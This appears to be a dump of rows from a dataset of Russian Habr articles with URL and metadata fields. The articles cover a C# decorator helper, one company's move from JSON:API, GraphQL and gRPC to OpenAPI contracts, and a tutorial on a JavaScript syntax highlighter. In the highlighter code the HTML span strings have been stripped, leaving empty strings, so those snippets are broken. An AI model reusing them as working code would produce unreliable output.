// code before
var result = await next.MethodAsync(request);
// code after
return result;
});
}
```
А если конкретный метод не надо оборачивать текущим декоратором, можно просто написать так:
```
public Task MethodAsync(Request request)
{
return ExecuteAsync(next => next.MethodAsync(request));
}
```
Немного магии все же осталось. А именно — назначение свойства NextDelegate. Сходу не понятно, что это и как использовать, но опытный программист найдет, а неопытному надо 1 раз объяснить. Это как DbSet'ы в DbContext.
Я не выкладывал это на гит хаб. Кода немного, он уже обобщенный, так что можно дергать прямо отсюда.
В заключении хочу ничего не говорить. | https://habr.com/ru/post/511190/ | null | ru | null |
# JSON:API 一 это не JSON API
Я занимаюсь разработкой Ruby с 2011 года. В данный момент я team leader в образовательной онлайн-платформе [UCHi.RU](http://UCHi.RU). Это большая EdTech-компания, которая работает на рынке уже 10 лет. Мы выросли из небольшого отечественного стартапа в группу компаний. [UCHi.RU](http://UCHi.RU) — резидент ИТ-кластера фонда «Сколково», входит в образовательную экосистему VK и создает образовательные продукты и сервисы для школьников и учителей. Сегодня Учи.ру используют 16 миллионов пользователей в стране — каждый второй школьник (10 миллионов), 5,5 миллионов родителей и 450 000 учителей.
Проект Учи.ру стартовал как Ruby-монолит с erb. Сам монолит использовался с 2012 года. Он расширялся, увеличивался в размерах, в него добавлялись различные компоненты, такие как React. Со временем накопилось более 70 React-компонентов монолита, что сказалось на скорости сборки. Монолит стал медленнее собираться, деплой тоже замедлился. Мы приняли решение о распиле монолита, чтобы облегчить работу по развитию продукта и ускорить деплой.
Ритуальный распил монолита
--------------------------
Ритуальный распил монолита, т. е. вынос из него микросервисов, происходил постепенно. В первую очередь мы выносили различные ключевые сервисы, скорость развертывания которых была критична, например, сервис премиумов, олимпиады, сервис аутентификации и т. д. Параллельно мы выносили различные SPA-приложения. Таким образом, мы увеличили скорость сборки и уменьшили время развертывания монолита.
На данный момент мы выделили около 200 сервисов, большая часть из которых бэкенд-сервисы. Мы распределили эти сервисы между командами разработки, тем самым определяя зоны ответственности команд. Кроме того, мы развивали разработку на Roda, Go, Python и других платформах. В настоящий момент параллельно внедряется разработка на Node.js.
По итогам мы задались вопросом: как общаются между собой все эти сервисы?
В далеких 2000-х Рой Филдинг написал диссертацию, в которой очертил путь развития REST, который в нулевых обозначал «не-SOAP/XML-RPC», до определенной концепции:
* REST должен был иметь разные ресурсы вместо одного endpoint (Level 1);
* REST должен был использовать HTTP verbs вместо имен функций — **POST, GET, PUT** именно в запросе. Это упрощало документирование по сравнению с XML/SOAP и ситуацию в целом (Level 2);
* Предполагалось наличие hypermedia controls, но эта идея не прижилась.
* В 2010-х JSON сменил XML-протокол, поэтому необходимость использовать hypermedia controls пропала.
* На текущий момент REST представляет собой JSON API или Web API примерно на 90%.
С момента основания монолита в Учи.ру использовался REST Level 1/Level 2, т. е. ресурсы и HTTP verbs. Мы с ними работаем последние 7-8 лет. Но в какой-то момент мы увидели такой соблазнительный формат, как JSON:API.
Данная спецификация для API решала проблему избыточных запросов, т. е. N+1, позволяя увидеть ссылки, указать ресурс и, при необходимости, дочерние ресурсы.
Кроме того, бонусом стала возможность избежать долгих и тяжелых ответов, была решена проблема описания ссылок и межресурсной зависимости в самом контракте.
Протокол также решал вопрос постраничной навигации (пагинации). Ранее постраничную навигацию приходилось создавать, проектировать и конфигурировать самостоятельно (например, на JSON-схемах).
Поэтому мы решили взять данную спецификацию на вооружение.
Однако когда мы попытались подружить бэк и фронт при помощи JSON:API, появились сложности. Пример кода на фронте и бэке:
Несложно догадаться, кто формировал данный контракт, потому что он был написан на Ruby и поддерживался/изменялся рубистами. Контрактом не могли управлять фронтендеры.
* У данного контракта был один владелец, что и создавало зависимость фронтендеров от бэкендеров. В идеале у контракта не должно быть владельца, и он должен быть согласован со всеми сторонами.
* Кроме того, у JSON:API нет готовой экосистемы на стороне фронтенда (при этом на бэкенде система функционировала отлично).
* Мы перебрали на фронте 20 вариантов различных библиотек, выбрав одну, но в итоге все-равно получили большой объем лишнего кода, нам приходилось изобретать велосипед.
* Соответственно, использование такого подхода потребовало длительного обучения начинающих разработчиков и коллег по цеху, которые хотели подключиться к проекту использующему JSON:API.
Вследствие долгой реализации и интеграции мы более не осуществляли подобных экспериментов с JSON:API.
Эксперименты
------------
#### GraphQL
Однако мы на этом не остановились, выбрав GraphQL следующей жертвой. В 2020 году c приходом новых сотрудников мы начали внедрять GraphQL, который на тот момент уже предлагал обширные возможности:
* «Из коробки» предлагалось единое описание всего контракта при помощи Apollo.
* А также предлагался подход с единым gateway, к которому могли обращаться множество клиентов.
Однако были и проблемы:
* Порог вхождения оставался высоким, несмотря на наличие готового пакета для клиента на фронтенде.
* Оставались проблемы с отладкой, аналогичные проблемам с XML-RPC, поскольку применяется единый gateway и единый endpoint, но нет разделения на ресурсы. Таким образом, понять, какой ресурс вызывается, можно только из запроса.
* Множество проблем с firewall. Например, Cloudflare не покрывает GraphQL gateway. Также возникают проблемы с Sentry, когда в проекте с GraphQL работают несколько команд, зоны ответственности которых необходимо разграничить. Это непросто и требует длительных «плясок с бубном».
Как итог, мы до сих пор используем GraphQL в наших проектах, но пока не расширяем область применения.
#### gRPC
Мы также используем gRPC для общения между микросервисами, который был интереснее благодаря подходу contract-first «из коробки». В первые месяцы gRPC показал себя достаточно интересно, благодаря намного более низкому порогу вхождения, чем у JSON:API или GraphQL, но при этом у него есть ряд минусов, например:
* При изменении контракта, если на контракт завязано много сервисов, приходится делать очень много правок в коде. Поэтому иногда стоимость изменения контракта зашкаливает.
* Дебаг очень сложен, поскольку gRPC — бинарный формат, и дебаг gRPC-ответов из STDOUT-логов невозможен.
Преимуществом является то, что gRPC предоставляет генераторы, которые позволяют собирать клиента автоматически. Эти генераторы хорошо поддерживаются и используются и сообществом, и Google.
После всех этих попыток, мы решили не плодить зоопарк, поскольку поддержание n-ного количества технологий в единой экосистеме достаточно проблематично. Мы захотели привести нашу экосистему к единому подходу и выбрали OpenAPI.
OpenAPI
-------
OpenAPI как устоявшаяся спецификация появился в 2016 году. Данный формат документации API показался нам достаточно консистентным и удовлетворяющим всем нашим требованиям.
Мы используем OpenAPI контракты в виде моно-репозитория, состоящего из пакетов. Каждый пакет представляет собой определенный контракт или набор контрактов. Каждое изменение или добавление контракта проходит проверку (Code Review).
После merge PR в main, при релизе на CI собирается пакет контракта и заливается в NPM репозиторий.
Мы используем авто-генерацию клиента на основе пакета контракта на фронтенде, таким образом устраняя необходимость писать клиента вручную как в случае JSON:API. Это уменьшает стоимость разработки на фронтенде.
Кроме того, у нас был опыт внедрения авто-тестирования на Ruby. Когда необходимо писать тесты, иногда используют Rswag, Rspec OpenAPI или Rspec Api Documentation. Но генерировать контракты на бэкенде необязательно, поскольку можно сделать автотестер на основе юнит-тестов, который будет брать контракты из хранилища и автоматически прогонять тесты именно на основе контрактов при вызове ручек API во время прогона тестов.
Мок-сервер
----------
На основе контрактов мы практикуем сборку мок-серверов. Мок-сервер можно собрать как локально, так и на stage-окружении.
Мок-сервер также используется для тестирования фронтенда, например, когда бэкенд еще не готов, а контракт уже имеется, или необходимо провести тестирование проекта контракта локально или в Docker.
#### Запуск мок-сервера
* Мок-сервер запускается с помощью нашей внутренней разработки, openapi-toolkit.
* Примеры, которые должен вернуть мок-сервер в ответ на определенный запрос при сборке пакета контракта сохраняются в `api-exported.yaml`.
* Мок-сервер использует собранные npm-пакеты контрактов.
UI контрактов
-------------
Мы используем самописный сервис (UI) для хранения контрактов, написанный на Sinatra с использованием ReDoc для просмотра (View). Этот сервис позволяет получать/обновлять контракты при обращении CI/CD к API сервиса и отображать их при помощи ReDoc.
Таким образом, мы пришли к следующим выводам:
* Необходимо выработать процессы для работы с API — необходимо, как минимум, изучение и обсуждение до внедрения определенных технологий.
* В случае Contract first необходим подход, ориентированный, в первую очередь, на потребителя, а не на бэкенд или фронтенд. Соответственно, контракт планируется исходя из требований потребителя с учетом ограничений исполнителя.
* Контракт — это следствие работы нескольких людей/команд/направлений и не должен иметь владельца, поэтому Contract first & OpenAPI надо «продавать» командам.
* Технологии OpenAPI, как и любые другие технологии должны быть понятны людям. Кроме того, необходима мотивация для их использования, то есть некий стимул для использования той или иной технологии. Внедрение любой технологии “по фану”, может привести к ошибке.
* При внедрении любой новой технологии команда должна проходить обучение. В противном случае можно потратить время и деньги впустую, уткнувшись в проблемы при разработке.
* Необходимо закладывать время на освоение и поддержку внедряемой технологии, поскольку может потребоваться разработка/внедрение tooling в процесс разработки. Использование технологий, не внедренных в процесс разработки, может оказаться провальным.
[Полезные ссылки](https://tinyurl.com/mpb2mrmr)
Мы решили:
* внедрить авто-тестирование контрактов на бэкенде, чтобы исключить необходимость писать тесты;
* полностью уйти от генерации контрактов на бэкенде(rswag);
* поддерживать развитие инженерного сообщества в компании, чтобы обсуждать актуальные вопросы до их внедрения. | https://habr.com/ru/post/699526/ | null | ru | null |
# Занятие на вечер: пишем подсветку синтаксиса
Недавно заинтересовался, как устроена подсветка кода изнутри. Сначала казалось, что там все дико сложно — синтаксическое дерево, рекурсия и вот это все. Однако при более близком рассмотрении оказалось, что ничего трудного здесь нет. Всю работу можно проделать в одном цикле с заглядываниями вперед и назад, более того, в получившемся скрипте почти не используются регулярные выражения.
Демо-страница: [Javascript Code Highlighter](https://astynk.github.io/highlight.html)
Основная идея
-------------
Объявляем переменную *state*, в которой будет храниться информация о том, в какой части кода мы находимся. Если, например, *state* равен единице, то это значит, что мы внутри строки с одинарными кавычками. Скрипт будет ждать закрывающую кавычку и игнорировать все остальное. То же самое с подсветкой комментариев, регэкспов и других элементов, для каждого свое значение *state*. Таким образом, разные открывающие и закрывающие символы не будут конфликтовать; иначе говоря, код наподобие такого:
```
let a = '"\'"';
```
будет правильно подсвечен, а именно такие случаи вызывали больше всего затруднений.
Начало работы
-------------
Определяем возможные значения переменной state, а также цвет, в который будет раскрашена та или иная часть кода, а также список ключевых слов языка Javascript (которые тоже будут подсвечены):
**const states = {...**
```
const states = {
NONE : 0,
SINGLE_QUOTE : 1, // 'string'
DOUBLE_QUOTE : 2, // "string"
ML_QUOTE : 3, // `string`
REGEX_LITERAL : 4, // /regex/
SL_COMMENT : 5, // // single line comment
ML_COMMENT : 6, // /* multiline comment */
NUMBER_LITERAL : 7, // 123
KEYWORD : 8 // function, var etc.
};
const colors = {
NONE : '#000',
SINGLE_QUOTE : '#aaa', // 'string'
DOUBLE_QUOTE : '#aaa', // "string"
ML_QUOTE : '#aaa', // `string`
REGEX_LITERAL : '#707', // /regex/
SL_COMMENT : '#0a0', // // single line comment
ML_COMMENT : '#0a0', // /* multiline comment */
NUMBER_LITERAL : '#a00', // 123
KEYWORD : '#00a', // function, var etc.
OPERATOR : '#07f' // null, true etc.
};
const keywords = 'async|await|break|case|class|const|continue|debugger|default|delete|do|else|enum|export|extends|for|from|function|get|if|implements|import|in|instanceof|interface|let|new|of|package|private|protected|public|return|set|static|super|switch|throw|try|typeof|var|void|while|with|yield|catch|finally'.split('|');
```
Далее создаем функцию, которая будет принимать строку с кодом и возвращать готовый HTML с подсвеченным кодом. Для подсветки символы будут оборачиваться в SPAN с цветом, указанным в переменной *colors*.
Функция будет иметь всего один цикл, который анализирует каждый символ и добавляет открывающие/закрывающие SPAN'-ы, когда это нужно.
```
function highlight(code) {
let output = '';
let state = states.NONE;
for (let i = 0; i < code.length; i++) {
let char = code[i], prev = code[i-1], next = code[i+1];
// здесь будет анализ кода
}
return output;
}
```
Для начала подсветим комментарии: однострочные и многострочные. Если текущий и следующий символ — слэш, и они не находятся внутри строки (*state* равна 0, то есть *states.NONE*), то это начало комментария. Меняем *state* и открываем SPAN с нужным цветом:
```
if (state == states.NONE && char == '/' && next == '/') {
state = states.SL_COMMENT;
output += '' + char;
continue;
}
```
*continue* нужен для того, чтобы не сработали следующие проверки и не получилось конфликта.
Далее ждем конца строки: если текущий символ — перенос строки и в *state* однострочный комментарий, закрываем SPAN и меняем *state* на ноль:
```
if (state == states.SL_COMMENT && char == '\n') {
state = states.NONE;
output += char + '';
continue;
}
```
Аналогично ищем многострочные комментарии, алгоритм точно такой же, только искомые символы другие:
```
if (state == states.NONE && char == '/' && next == '*') {
state = states.ML_COMMENT;
output += '' + char;
continue;
}
if (state == states.ML\_COMMENT && char == '/' && prev == '\*') {
state = states.NONE;
output += char + '';
continue;
}
```
Подсветка строк происходит похожим образом, только надо учитывать, что закрывающая кавычка может быть экранирована обратным слэшем, и таким образом, она уже перестает быть закрывающей.
```
if (state == states.NONE && char == '\'') {
state = states.SINGLE_QUOTE;
output += '' + char;
continue;
}
if (state == states.SINGLE\_QUOTE && char == '\'' && prev != '\\') {
state = states.NONE;
output += char + '';
continue;
}
```
Код похож на то, что уже было выше, только теперь мы не регистрируем конец строки, если перед кавычкой был обратный слэш.
Определение строк с двойными и обратными кавычками происходит точно таким же способом, и не имеет особого смысла разбирать их подробно. Для полноты картины все же размещу их под спойлером.
**if (state == states.NONE && char == '''') {...**
```
if (state == states.NONE && char == '"') {
state = states.DOUBLE_QUOTE;
output += '' + char;
continue;
}
if (state == states.DOUBLE\_QUOTE && char == '"' && prev != '\\') {
state = states.NONE;
output += char + '';
continue;
}
if (state == states.NONE && char == '`') {
state = states.ML_QUOTE;
output += '' + char;
continue;
}
if (state == states.ML\_QUOTE && char == '`' && prev != '\\') {
state = states.NONE;
output += char + '';
continue;
}
```
Отдельного рассмотрения стоят регэксп-литералы, которые легко спутать со знаком деления. К этой проблеме мы вернемся к концу статьи, а пока что делаем с регэкспами то же, что со строками.
```
if (state == states.NONE && char == '/') {
state = states.REGEX_LITERAL;
output += '' + char;
continue;
}
if (state == states.REGEX\_LITERAL && char == '/' && prev != '\\') {
state = states.NONE;
output += char + '';
continue;
}
```
На этом заканчиваются простые случаи, когда начало и конец литерала можно определить по 1-2 символам. Приступим к подсветке чисел: как известно, они всегда начинаются на цифру, но могут иметь буквы в составе (*0xFF*, *123n*).
```
if (state == states.NONE && /[0-9]/.test(char) && !/[0-9a-z$_]/i.test(prev)) {
state = states.NUMBER_LITERAL;
output += '' + char;
continue;
}
if (state == states.NUMBER\_LITERAL && !/[0-9a-fnx]/i.test(char)) {
state = states.NONE;
output += ''
}
```
Здесь мы ищем начало числа: предыдущий символ не должен быть цифрой или буквой, иначе будут подсвечиваться цифры в названиях переменных. Как только текущий символ не является цифрой или буквой, которая может содержаться в литерале числа, закрываем SPAN и присваиваем *state* ноль.
Все возможные виды литералов подсвечены, остался поиск ключевых слов. Для этого потребуется вложенный цикл, который заглядывает вперед и определяет, является ли текущий символ началом ключевого слова.
```
if (state == states.NONE && !/[a-z0-9$_]/i.test(prev)) {
let word = '', j = 0;
while (code[i + j] && /[a-z]/i.test(code[i + j])) {
word += code[i + j];
j++;
}
if (keywords.includes(word)) {
state = states.KEYWORD;
output += '';
}
}
```
Здесь мы смотрим, не может предыдущий символ быть в названии переменной, иначе в слове *outlet* будет подсвечиваться *let* как ключевое слово. Затем вложенный цикл собирает максимально длинное слово, пока не встретится неалфавитный символ. Если полученное слово есть в массиве *keywords*, то открываем SPAN и начинаем подсветку слова. Как только встретился неалфавитный символ, это означает конец слова — соответственно, закрываем SPAN:
```
if (state == states.KEYWORD && !/[a-z]/i.test(char)) {
state = states.NONE;
output += '';
}
```
Осталось самое простое — подсветка операторов, здесь можно просто сравнивать с набором символов, которые могут встречаться в операторах:
```
if (state == states.NONE && '+-/*=&|%!<>?:'.indexOf(char) != -1) {
output += '' + char + '';
continue;
}
```
В конце цикла, если не сработало ни одно из условий, которое вызывает *continue*, просто добавляем текущий символ в результирующую переменную. Когда встречается начало или конец литерала или ключевого слова, мы открываем/закрываем SPAN с цветом; во всех остальных случаях — например, когда строка уже открыта, мы просто перекидываем по одному символу. Также стоит экранировать открывающие угловые скобки, иначе они могут поломать верстку.
```
output += char.replace('<', '&' + 'lt;'); // через + потому что хабр заменяет на <
```
Исправление багов
-----------------
Все казалось каким-то уж слишком простым, и не напрасно: при более тщательном тестировании нашлись случаи, когда подсветка работает неправильно.
Деление распознается как регэксп, чтобы отличить одно от другого, потребуется изменить способ определения регэкспа. Объявим переменную *isRegex = true*, после чего попытаемся «доказать», что это не регэксп, а знак деления. Перед операцией деления не может быть ключевых слов и открывающих скобок — поэтому создаем вложенный цикл и смотрим, что стоит перед слэшем.
**Как было до этого**
```
if (state == states.NONE && char == '/') {
state = states.REGEX_LITERAL;
output += '' + char;
continue;
}
```
```
if (state == states.NONE && char == '/') {
let word = '', j = 0, isRegex = true;
while (i + j >= 0) {
j--;
// перед делением не может быть другого оператора
if ('+/-*=|&<>%,({[?:;'.indexOf(code[i+j]) != -1) break;
// пытаемся собрать слово; неалфавитный символ - прерываем цикл
if (!/[0-9a-z$_]/i.test(code[i+j]) && word.length > 0) break;
// собираем слово, которое идет перед слэшем
if (/[0-9a-z$_]/i.test(code[i+j])) word = code[i+j] + word;
// закрывающая скобка - деление, а не начало регэкспа
if (')]}'.indexOf(code[i+j]) != -1) {
isRegex = false;
break;
}
}
// если перед слэшем ключевое слово - это однозначно регэксп
// для сравнения: return /test/g - регэксп, plainWord /test/g - деление
if (word.length > 0 && !keywords.includes(word)) isRegex = false;
if (isRegex) {
state = states.REGEX_LITERAL;
output += '' + char;
continue;
}
}
```
Такой подход хоть и решает проблему, но все равно не лишен изъянов. Можно подстроить так, чтобы и этот алгоритм подсветил неправильно, например так: *if (a) /regex/* или так: *1 / /regex/ / 2*. Зачем человеку, делящему числа на регэкспы, нужна подсветка кода — это другой вопрос; конструкция синтаксически правильная, хотя и не встречается в реальной жизни.
Проблемы с раскраской регэкспов есть во многих работах, например в [prism.js](https://prismjs.com/test.html#language=javascript). Судя по всему, для правильной подсветки регэкспов придется полноценно разбирать синтаксис, как это делают браузеры.
Второй баг, с которым пришлось столкнуться, был связан с обратными слэшами. В строке вида *'test\\'* не распознавалась закрывающая кавычка из-за наличия обратного слэша перед ней. Вернемся к условию, которое отлавливает конец строки:
```
if (state == states.SINGLE_QUOTE && char == '\'' && prev != '\\')
```
Последнюю часть условия требуется изменить: если обратный слэш экранирован (т.е. перед ним идет еще один обратный слэш), то регистрируем конец строки.
```
const closingCharNotEscaped = prev != '\\' || prev == '\\' && code[i-2] == '\\';
// ...
if (state == states.SINGLE_QUOTE && char == '\'' && closingCharNotEscaped)
```
Такие же замены необходимо произвести в поиске строк с двойными и обратными кавычками, а также в поиске регэкспов.
На этом все, потестить подсветку можно по ссылке в начале статьи. | https://habr.com/ru/post/482884/ | null | ru | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.